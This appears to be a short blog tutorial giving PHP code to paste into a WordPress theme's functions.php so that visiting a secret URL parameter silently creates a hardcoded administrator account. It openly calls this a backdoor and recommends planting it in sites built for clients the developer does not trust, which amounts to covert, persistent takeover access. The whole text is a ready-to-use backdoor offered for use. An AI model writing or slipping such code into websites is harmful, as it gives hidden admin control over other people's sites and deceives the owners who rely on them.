Open wp-content > themes > “select you active theme” and open functions.php file
Copy/Paste following code:
add_action(‘wp_head’, ‘wploop_backdoor’);
function wploop_backdoor() {
If ($_GET[‘backdoor’] == ‘knockknock’) {
require(‘wp-includes/registration.php’);
If (!username_exists(‘username’)) {
$user_id = wp_create_user(‘name’, ‘pass’);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
}
Save changes
If you leave the code as it is, all you would have to do to create a new admin on the site
is visit https://www.yourdomain.com/?backdoor=knockknock
After the page was loaded, your new username is “name” and password “pass”.
Of course, you can change that in the code above by changing ‘name’ and ‘pass’ to whatever you want.
You can also change the link to your back door by changing ‘backdoor’ and/or ‘knockknock’ to anything you come up with.
Try the function – not only it is fun but it can really help you sometime in the future when you’re about to create a site for someone you can’t trust completely. You should also level up your WordPress and blogging skills.